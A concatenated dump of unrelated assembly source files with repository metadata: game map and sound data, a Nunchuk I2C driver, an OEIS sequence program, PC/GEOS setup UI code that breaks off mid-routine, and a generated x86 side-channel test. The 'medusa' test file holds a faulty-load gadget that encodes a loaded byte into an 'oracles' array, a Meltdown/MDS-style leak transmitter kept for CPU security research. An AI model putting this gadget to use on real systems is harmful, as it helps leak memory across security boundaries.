DC AL4(3840)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000690'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006BC'
*
DC XL1'D'
DC AL3(0)
DC AL4(3880)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000698'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006C2'
*
DC XL1'D'
DC AL3(0)
DC AL4(3920)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006A0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006D0'
*
DC XL1'D'
DC AL3(0)
DC AL4(3960)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006A8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006DC'
*
DC XL1'D'
DC AL3(0)
DC AL4(4000)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006B0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006F2'
*
DC XL1'D'
DC AL3(0)
DC AL4(4040)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006B8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000702'
*
DC XL1'D'
DC AL3(0)
DC AL4(4080)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006C0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000716'
*
DC XL1'D'
DC AL3(0)
DC AL4(4120)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006C8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000726'
*
DC XL1'D'
DC AL3(0)
DC AL4(0)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006D0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000660'
*
END
|
||||
TheStack | 6749b45b2da619bf99f5ee4b3c8777c565e6a48f | Assemblycode:Assembly | {"size": 519, "ext": "asm", "max_stars_repo_path": "data/mapObjects/SafariZoneGate.asm", "max_stars_repo_name": "AmateurPanda92/pokemon-rby-dx", "max_stars_repo_stars_event_min_datetime": "2020-07-12T19:44:21.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-03T23:32:40.000Z", "max_issues_repo_path": "data/mapObjects/SafariZoneGate.asm", "max_issues_repo_name": "JStar-debug2020/pokemon-rby-dx", "max_issues_repo_issues_event_min_datetime": "2020-07-16T10:48:52.000Z", "max_issues_repo_issues_event_max_datetime": "2021-01-28T18:32:02.000Z", "max_forks_repo_path": "data/mapObjects/SafariZoneGate.asm", "max_forks_repo_name": "JStar-debug2020/pokemon-rby-dx", "max_forks_repo_forks_event_min_datetime": "2021-03-28T18:33:43.000Z", "max_forks_repo_forks_event_max_datetime": "2021-05-06T13:12:09.000Z"} | {"max_stars_count": 9, "max_issues_count": 7, "max_forks_count": 2, "avg_line_length": 24.7142857143, "max_line_length": 58, "alphanum_fraction": 0.7283236994} | SafariZoneGate_Object:
db $a ; border block
db 4 ; warps
warp 3, 5, 4, -1
warp 4, 5, 4, -1
warp 3, 0, 0, SAFARI_ZONE_CENTER
warp 4, 0, 1, SAFARI_ZONE_CENTER
db 0 ; signs
db 2 ; objects
object SPRITE_WHITE_PLAYER, 6, 2, STAY, LEFT, 1 ; person
object SPRITE_WHITE_PLAYER, 1, 4, STAY, RIGHT, 2 ; person
; warp-to
warp_to 3, 5, SAFARI_ZONE_GATE_WIDTH
warp_to 4, 5, SAFARI_ZONE_GATE_WIDTH
warp_to 3, 0, SAFARI_ZONE_GATE_WIDTH ; SAFARI_ZONE_CENTER
warp_to 4, 0, SAFARI_ZONE_GATE_WIDTH ; SAFARI_ZONE_CENTER
|
||||
TheStack | 7530210fd59d9a2a70285b2f52928444418bfac5 | Assemblycode:Assembly | {"size": 529, "ext": "asm", "max_stars_repo_path": "audio/sfx/battle_2c.asm", "max_stars_repo_name": "opiter09/ASM-Machina", "max_stars_repo_stars_event_min_datetime": "2022-02-15T00:19:44.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-15T00:19:44.000Z", "max_issues_repo_path": "audio/sfx/battle_2c.asm", "max_issues_repo_name": "opiter09/ASM-Machina", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "audio/sfx/battle_2c.asm", "max_forks_repo_name": "opiter09/ASM-Machina", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 20.3461538462, "max_line_length": 32, "alphanum_fraction": 0.7372400756} | SFX_Battle_2C_Ch5:
duty_cycle_pattern 0, 3, 2, 1
square_note 15, 15, 4, 1280
square_note 15, 12, 4, 1024
square_note 15, 14, 2, 1472
sound_loop 3, SFX_Battle_2C_Ch5
sound_ret
SFX_Battle_2C_Ch6:
duty_cycle_pattern 2, 0, 3, 1
square_note 7, 14, 4, 1072
square_note 15, 11, 4, 816
square_note 15, 10, 2, 1080
sound_loop 4, SFX_Battle_2C_Ch6
sound_ret
SFX_Battle_2C_Ch8:
noise_note 9, 15, 4, 68
noise_note 9, 15, 2, 67
noise_note 15, 15, 4, 66
noise_note 15, 15, 4, 65
sound_loop 3, SFX_Battle_2C_Ch8
sound_ret
|
||||
TheStack | 4975fe89ea6063d7bffc56fd0a24d3f399aad0d2 | Assemblycode:Assembly | {"size": 1727, "ext": "asm", "max_stars_repo_path": "programs/libraries/Nunchuk.asm", "max_stars_repo_name": "TheLogicMaster/lm8", "max_stars_repo_stars_event_min_datetime": "2021-08-29T10:31:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-26T14:20:54.000Z", "max_issues_repo_path": "programs/libraries/Nunchuk.asm", "max_issues_repo_name": "TheLogicMaster/lm8", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/libraries/Nunchuk.asm", "max_forks_repo_name": "TheLogicMaster/lm8", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 10, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 16.2924528302, "max_line_length": 85, "alphanum_fraction": 0.6873190504} | ; Nunchuck --- Provides support for Wii remote peripherals like the Nunchuck over I2C
include "I2C.asm"
include "Utilities.asm"
; Initialize the connected nunchuck
nunchuck_init:
push A
push B
ldr $52,A ; Nunchuck address
jsr i2c_start_write
ldr $F0,B
jsr i2c_send_byte
ldr $55,B
jsr i2c_send_byte
jsr i2c_stop
jsr i2c_start_write
ldr $FB,B
jsr i2c_send_byte
ldr $00,B
jsr i2c_send_byte
jsr i2c_stop
pop B
pop A
ret
; Retreives data from nunchuck
; Uses delays
nunchuck_update:
push A
push B
push H
push L
; Set read address to 0
ldr $52,A ; Nunchuck address
jsr i2c_start_write
ldr $0,B
jsr i2c_send_byte
jsr i2c_stop
ldr #1,B
jsr delay_milliseconds
; Read 6 bytes
jsr i2c_start_read
ldr #5,B
lda nunchuck_data_0_
nunchuck_update_loop_:
jsr i2c_receive_byte
str [HL],A
ina
dec B
jr nunchuck_update_loop_,nC
jsr i2c_stop
pop L
pop H
pop B
pop A
ret
; Retrieves the current nunchuck C button state in A
; Sets Zero flag based on state
nunchuck_get_c_button:
ldr [nunchuck_data_5_],A
lsr
and $1
xor $1
ret
; Retrieves the current nunchuck Z button state in A
; Sets Zero flag based on state
nunchuck_get_z_button:
ldr [nunchuck_data_5_],A
and $1
xor $1
ret
data
nunchuck_data_0_:
; The joystick X value
nunchuck_joystick_x: var
nunchuck_data_1_:
; The joystick Y value
nunchuck_joystick_y: var
nunchuck_data_2_:
; The gyro X value
nunchuck_gyro_x: var
nunchuck_data_3_:
; The gyro Y value
nunchuck_gyro_y: var
nunchuck_data_4_:
; The gyro Z value
nunchuck_gyro_z: var
nunchuck_data_5_: var
|
||||
TheStack | 64758b2dcaa6d15bb44f2ca95661398c39d2a7fd | Assemblycode:Assembly | {"size": 368, "ext": "asm", "max_stars_repo_path": "programs/oeis/343/A343175.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/343/A343175.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/343/A343175.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 46.0, "max_line_length": 246, "alphanum_fraction": 0.7391304348} | ; A343175: a(0)=2; for n > 0, a(n) = 2^(2*n-1) + 2^n + 1.
; 2,5,13,41,145,545,2113,8321,33025,131585,525313,2099201,8392705,33562625,134234113,536903681,2147549185,8590065665,34360000513,137439477761,549756862465,2199025352705,8796097216513,35184380477441,140737505132545,562949986975745,2251799880794113
seq $0,28400 ; a(n) = (2^n + 1)^2.
sub $0,1
div $0,2
add $0,1
|
||||
TheStack | c89d6af591f2871214b4773baf5cd5a0006e998b | Assemblycode:Assembly | {"size": 4771, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0x48_notsx.log_21829_1134.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0x48_notsx.log_21829_1134.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0x48_notsx.log_21829_1134.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 50.2210526316, "max_line_length": 2999, "alphanum_fraction": 0.652483756} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %rdi
push %rsi
lea addresses_WC_ht+0x1d53f, %r10
nop
nop
nop
xor %rdi, %rdi
mov (%r10), %rsi
nop
nop
nop
cmp %rdi, %rdi
pop %rsi
pop %rdi
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r15
push %r8
push %rdi
push %rdx
// Store
lea addresses_RW+0x19fbf, %r15
nop
nop
nop
sub $2003, %rdx
movb $0x51, (%r15)
nop
nop
xor %r13, %r13
// Store
lea addresses_normal+0x591d, %r10
nop
nop
cmp %rdx, %rdx
movl $0x51525354, (%r10)
nop
add %r10, %r10
// Store
lea addresses_A+0x1bf6d, %rdi
nop
nop
xor $35889, %r14
movb $0x51, (%rdi)
and $1623, %r10
// Faulty Load
lea addresses_A+0xfbbf, %rdx
nop
nop
nop
nop
nop
add $46637, %r10
mov (%rdx), %r13
lea oracles, %r15
and $0xff, %r13
shlq $12, %r13
mov (%r15,%r13,1), %r13
pop %rdx
pop %rdi
pop %r8
pop %r15
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_RW', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 1}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 7}}
{'67': 3, '48': 586, 'd0': 13, '08': 2, '01': 234, 'e8': 8823, '00': 11815, '65': 353}
e8 e8 00 00 e8 e8 e8 00 e8 00 00 e8 00 00 e8 00 e8 00 e8 e8 00 00 00 01 e8 00 00 e8 00 00 e8 00 e8 e8 00 00 e8 e8 00 e8 e8 00 e8 00 00 00 01 00 01 01 00 00 00 00 00 e8 48 00 00 00 00 01 e8 e8 00 e8 48 00 e8 e8 e8 e8 00 00 e8 48 00 00 00 00 00 48 e8 e8 e8 e8 00 e8 65 e8 48 e8 00 e8 e8 00 e8 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 e8 00 e8 e8 00 e8 00 00 e8 00 e8 00 00 00 e8 00 00 00 00 00 01 00 e8 00 48 00 00 00 e8 e8 e8 e8 e8 e8 e8 00 00 e8 e8 00 e8 00 e8 00 e8 e8 e8 00 e8 e8 e8 e8 e8 e8 e8 00 00 e8 e8 e8 00 00 00 00 e8 e8 00 00 00 00 e8 00 e8 00 e8 e8 e8 e8 00 e8 e8 e8 00 00 00 00 00 e8 00 00 00 e8 e8 48 00 00 00 00 01 01 65 00 e8 e8 00 e8 00 e8 00 00 e8 00 00 e8 00 00 e8 00 e8 e8 e8 00 00 e8 00 e8 e8 00 00 00 00 00 e8 e8 e8 00 e8 e8 00 00 00 00 e8 e8 00 e8 00 e8 e8 00 e8 00 e8 e8 48 e8 00 e8 00 e8 00 00 00 00 00 e8 e8 00 e8 00 00 e8 00 00 00 e8 48 00 e8 e8 00 00 00 00 00 e8 e8 e8 00 00 e8 00 00 e8 00 00 00 00 00 01 00 e8 00 e8 e8 e8 00 00 00 00 00 00 00 00 00 e8 e8 00 00 e8 e8 48 00 e8 00 00 e8 e8 00 e8 00 00 e8 e8 00 00 e8 e8 e8 e8 00 00 00 e8 00 00 e8 00 e8 e8 e8 00 00 e8 e8 e8 00 e8 e8 65 00 e8 00 e8 00 00 00 00 00 00 e8 00 e8 e8 00 e8 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 e8 00 00 e8 00 00 00 00 00 00 e8 00 e8 00 00 e8 e8 00 00 e8 e8 00 00 00 00 00 00 00 00 00 e8 e8 00 e8 e8 e8 00 00 00 00 00 00 00 e8 e8 e8 00 48 e8 00 00 e8 00 e8 00 00 e8 e8 e8 00 e8 00 00 00 00 e8 00 e8 00 00 00 e8 e8 e8 00 00 00 00 00 00 00 00 00 00 e8 e8 e8 e8 00 00 00 00 e8 e8 e8 00 00 00 e8 00 00 e8 00 00 00 e8 e8 e8 e8 e8 00 00 00 00 e8 e8 00 00 00 00 e8 e8 00 00 48 00 e8 00 e8 00 00 00 e8 00 e8 e8 e8 e8 e8 e8 00 48 00 00 00 e8 00 e8 e8 00 e8 e8 e8 00 e8 e8 00 00 e8 00 00 00 00 e8 00 e8 00 e8 e8 00 00 e8 00 00 e8 e8 e8 00 e8 e8 e8 e8 e8 e8 00 e8 00 00 e8 e8 00 00 00 e8 00 00 00 e8 e8 e8 e8 e8 00 00 e8 e8 e8 e8 00 e8 e8 e8 e8 e8 e8 e8 e8 e8 00 00 00 e8 00 00 00 00 00 e8 65 e8 e8 e8 00 e8 00 e8 00 e8 e8 e8 e8 e8 e8 00 e8 e8 e8 e8 e8 00 00 00 00 00 00 00 00 00 e8 e8 e8 e8 48 00 e8 e8 00 00 e8 00 e8 00 e8 00 00 e8 e8 e8 00 00 e8 00 e8 00 00 00 00 e8 e8 e8 00 65 e8 00 e8 00 e8 00 00 e8 e8 e8 e8 00 00 e8 00 e8 e8 e8 00 00 e8 00 e8 00 e8 e8 e8 e8 e8 e8 00 00 00 e8 e8 e8 e8 00 00 00 e8 e8 00 00 00 00 00 00 00 e8 00 e8 00 00 e8 e8 e8 e8 e8 e8 00 00 e8 00 00 00 e8 e8 00 00 e8 00 e8 00 e8 e8 00 e8 00 e8 00 65 00 e8 00 00 00 01 00 e8 00 e8 00 00 00 00 e8 00 00 00 48 00 00 e8 e8 e8 e8 e8 00 00 e8 00 48 e8 00 e8 e8 00 00 e8 00 00 e8 00 e8 e8 00 00 00 e8 e8 e8 00 00 e8 00 e8 00 e8 e8 00 48 e8 00 00 e8 e8 e8 e8 e8 e8 e8 e8 00 00 e8 e8 e8 e8 e8 00 00 00 e8 e8 00 48 e8 00 e8 00 00 e8 00 00 e8 e8 00 00 e8 48 e8 00 00 00 e8 00 00 e8 e8 00 00 00 00 e8 e8 e8 00 00 e8 00 e8 00 00 e8 00 00 e8 00 e8 00 e8 00 e8 00 00 00 00 00 e8 e8 e8 00 00 65 00 e8 e8 00 e8 e8 00 00 00 e8 65 e8 00 00 e8 00 e8 00 e8 00 00 00 e8 e8 00 00 00 00 e8 00 e8 00 e8 00 e8 e8 e8 e8 48 e8 e8 00 00 48 e8 48 00 00 00 e8 e8 e8 00 00 00 00 00 00 00 e8 00 00 00 00
*/
|
||||
TheStack | 5cac553e298bed7cecf7e88276d1fa679ba15a57 | Assemblycode:Assembly | {"size": 18533, "ext": "asm", "max_stars_repo_path": "Appl/Preferences/Setup/setupUI.asm", "max_stars_repo_name": "steakknife/pcgeos", "max_stars_repo_stars_event_min_datetime": "2018-11-18T03:35:53.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T01:02:51.000Z", "max_issues_repo_path": "Appl/Preferences/Setup/setupUI.asm", "max_issues_repo_name": "steakknife/pcgeos", "max_issues_repo_issues_event_min_datetime": "2018-11-19T21:06:50.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-06T10:26:48.000Z", "max_forks_repo_path": "Appl/Preferences/Setup/setupUI.asm", "max_forks_repo_name": "steakknife/pcgeos", "max_forks_repo_forks_event_min_datetime": "2018-11-19T20:46:53.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T00:59:26.000Z"} | {"max_stars_count": 504, "max_issues_count": 96, "max_forks_count": 73, "avg_line_length": 21.9325443787, "max_line_length": 79, "alphanum_fraction": 0.5716289861} | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) New Deal 1998 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: setupUI.asm
AUTHOR: Gene Anderson
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 6/1/98 Initial revision
DESCRIPTION:
Code for UI selection of Setup
$Id: setupUI.asm,v 1.3 98/06/19 10:40:09 gene Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
idata segment
SetupUIListClass
idata ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetupUICheckRestart
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: MSG_SETUP_UI_CHECK_RESTART
PASS: ds = es = dgroup
RETURN: nothing
DESTROYED: ax, bx, cx, dx, si, di, es, ds
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 6/1/98 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetupUICheckRestart method SetupClass, MSG_SETUP_UI_CHECK_RESTART
.enter
;
; See if anything changed; assume so
;
call CheckSPUIChanged
mov si, offset UIRestartScreen
mov bx, handle UIRestartScreen
jne gotScreen ;branch if changed
;
; Nothing changed -- bring up the next screen or exit
;
cmp ds:[mode], MODE_UPGRADE_UI_CHANGE
je spuiDone
;
; Bring up the next (mouse) screen
;
mov si, offset MouseSelectScreen
mov bx, handle MouseSelectScreen
gotScreen:
mov ax, MSG_GEN_INTERACTION_INITIATE
clr di
call ObjMessage
done:
.leave
ret
;
; Only here to set the SPUI
;
spuiDone:
mov si, offset SPUIDoneText
call SetupComplete
jmp done
SetupUICheckRestart endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckSPUIChanged
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if the SPUI has been changed
CALLED BY: SetupUISelectionComplete()
PASS: none
RETURN: z flag - clear (jne) if changed
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 6/1/98 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
uiCategory char "ui", 0
specificNameKey char "specname", 0
specificKey char "specific", 0
GetINISPUI proc near
;
; Get the current setting from the .INI file
;
push bp
mov {TCHAR}es:[di], NULL
segmov ds, cs, cx
mov si, offset uiCategory
mov dx, offset specificNameKey
mov bp, InitFileReadFlags <IFCC_INTACT, 0, 0,
(size FileLongName)>
call InitFileReadString
pop bp
ret
GetINISPUI endp
CheckSPUIChanged proc near
uses ds, si, es, di
spuiBuf local FileLongName
.enter
;
; Get the current setting from the .INI file
;
segmov es, ss
lea di, ss:spuiBuf
call GetINISPUI
;
; Get the SPUI selected by the user
;
call GetSelectedUI
;
; Compare the strings
;
clr cx ;cx <- NULL-terminated
segmov es, ss, di
lea di, ss:spuiBuf ;es:di <- .INI setting
call LocalCmpStringsNoCase
;
; unlock our string
;
mov bx, handle Strings
call MemUnlock
done::
.leave
ret
CheckSPUIChanged endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetSelectedUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the name of the selected SPUI
CALLED BY: CheckSPUIChanged()
PASS: none
RETURN: ds:si - ptr to string
Strings - locked
DESTROYED: cx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 6/1/98 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetSelectedUI proc near
uses ax, dx, bp, di
.enter
;
; get the selection
;
mov si, offset UISelectList
mov bx, handle UISelectList
mov di, mask MF_CALL
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
call ObjMessage
;
; get a ptr to the string
;
mov si, (size UICombo)
mul si
mov_tr si, ax ;si <- offset
mov si, cs:uicombos[si].UIC_name ;si <- chunk of name
mov bx, handle Strings
call MemLock
mov ds, ax
mov si, ds:[si] ;ds:si <- ptr to name
.leave
ret
GetSelectedUI endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DeleteCUILink
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Delete the CUI link ("NewDeal Desktop")
CALLED BY: SetUIOptions
PASS: none
RETURN: none
DESTROYED: ax, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/4/00 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
LocalDefNLString cuiLink <"DESKTOP\\\\xxxxxxx Easy Desktop",0>
DeleteCUILink proc near
uses ds
.enter
;
; delete the "NewDeal Desktop" (i.e., CUI) link
;
call FilePushDir
mov ax, SP_TOP
call FileSetStandardPath
segmov ds, cs, ax
mov dx, offset cuiLink ;ds:dx <- filename
call FileDelete
call FilePopDir
.leave
ret
DeleteCUILink endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetUIOptions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the options for our CUI combo
CALLED BY: PrefUICDialogApply
PASS: di - offset in uicombos
RETURN: none
DESTROYED: ax, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/4/00 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UICombo struct
UIC_environment BooleanByte
UIC_specific nptr.TCHAR
UIC_launcher nptr.TCHAR
UIC_advLauncher nptr.TCHAR
UIC_bitmap optr
UIC_name lptr.TCHAR
UIC_room word
UICombo ends
uicombos UICombo <
BB_TRUE,
offset NewUIStr,
offset WelcomeStr,
offset NewDeskStr,
CUIMoniker,
offset cuiNameStr,
1
>,<
BB_FALSE,
offset NewUIStr,
offset WelcomeStr,
0,
NewUIMoniker,
offset auiNameStr,
3
>,<
BB_FALSE,
offset MotifStr,
offset NewManagerStr,
0,
MotifMoniker,
offset motifNameStr,
0
>
haveEnvAppKey char "haveEnvironmentApp", 0
defaultLauncherKey char "defaultLauncher", 0
uiFeaturesCat char "uiFeatures", 0
uiAdvFeaturesCat char "uiFeatures - advanced", 0
fileManagerCat char "fileManager", 0
linksDoneKey char "linksDone", 0
welcomeCat char "welcome", 0
startRoomKey char "startuproom", 0
if ERROR_CHECK
LocalDefNLString MotifStr <"motifec.geo", 0>
LocalDefNLString NewUIStr <"newuiec.geo", 0>
LocalDefNLString NewManagerStr <"managere.geo", 0>
LocalDefNLString NewDeskStr <"newdeske.geo", 0>
LocalDefNLString WelcomeStr <"welcomee.geo", 0>
else
LocalDefNLString MotifStr <"motif.geo", 0>
LocalDefNLString NewUIStr <"newui.geo", 0>
LocalDefNLString NewManagerStr <"File Manager", 0>
LocalDefNLString NewDeskStr <"newdesk.geo", 0>
LocalDefNLString WelcomeStr <"welcome.geo", 0>
endif
SetUIOptions proc near
uses ds, si, es
.enter
;
; get the table entry
;
segmov ds, cs, cx
mov es, cx
;
; handle haveEnvironmentApp key
;
mov si, offset uiCategory
mov dx, offset haveEnvAppKey
mov al, cs:uicombos[di].UIC_environment
clr ah
call InitFileWriteBoolean
tst ax
jnz keepLink
call DeleteCUILink
afterLink:
;
; handle [ui] specific = key
;
push di
mov dx, offset specificKey
mov di, cs:uicombos[di].UIC_specific
call InitFileWriteString
pop di
;
; handle [uiFeatures] defaultLauncher = key
;
push di
mov si, offset uiFeaturesCat
mov dx, offset defaultLauncherKey
mov di, cs:uicombos[di].UIC_launcher
call InitFileWriteString
pop di
;
; handle [uiFeatures - advanced] defaultLauncher = key
;
push di
mov si, offset uiAdvFeaturesCat
mov di, cs:uicombos[di].UIC_advLauncher
tst di
jz noAdvLauncher
call InitFileWriteString
noAdvLauncher:
pop di
;
; handle the start room [welcome] startuproom = key
;
push di, bp
mov bp, cs:uicombos[di].UIC_room
tst bp
jz noRoom
mov si, offset welcomeCat
mov dx, offset startRoomKey
call InitFileWriteInteger
noRoom:
pop di, bp
.leave
ret
;
; obscure case: tell the file manager to rebuild the links
;
keepLink:
mov si, offset fileManagerCat
mov dx, offset linksDoneKey
mov ax, FALSE
call InitFileWriteBoolean
jmp afterLink
SetUIOptions endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetSPUIEntry
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Find the entry for the currently selected SPUI
CALLED BY: SetupSPUISampleDraw()
PASS: ds - fixupable
RETURN: di - offset in spuiBitmapTable
carry - set if error (di = default)
DESTROYED: si, es, ds
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 6/2/98 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetSPUIEntry proc near
uses ax, bx, cx, dx, bp
.enter
mov si, offset UISelectList
mov bx, handle UISelectList
mov di, mask MF_CALL or mask MF_FIXUP_DS
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
call ObjMessage
jc done ;branch if no selection
mov di, (size UICombo)
mul di
